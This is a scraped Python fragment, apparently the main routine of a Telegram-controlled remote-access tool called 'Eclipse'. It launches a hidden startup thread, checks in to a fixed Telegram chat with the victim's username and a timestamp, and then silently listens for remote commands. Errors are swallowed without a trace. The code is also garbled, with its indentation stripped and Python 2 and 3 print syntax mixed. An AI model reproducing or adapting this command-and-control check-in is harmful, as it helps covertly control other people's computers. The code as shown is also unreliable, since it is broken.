def main():
global bot
startupThread = threading.Thread(target=startUpWork, args=())
startupThread.daemon = True
startupThread.start()
if internetOn():
try:
bot = telepot.Bot(access_token)
bot.message_loop(handle)
bot.sendMessage(CHAT_ID, str(current_system_time.strftime("%d|%m|%Y-%H|%M|%S")) + ': '+ USER + ' is online ^_^')
print ('[*] Listening ...')
try:
while 1:
time.sleep(5)
except KeyboardInterrupt:
print '[*] Eclipse completed...'
except Exception as e:
pass
评论列表
文章目录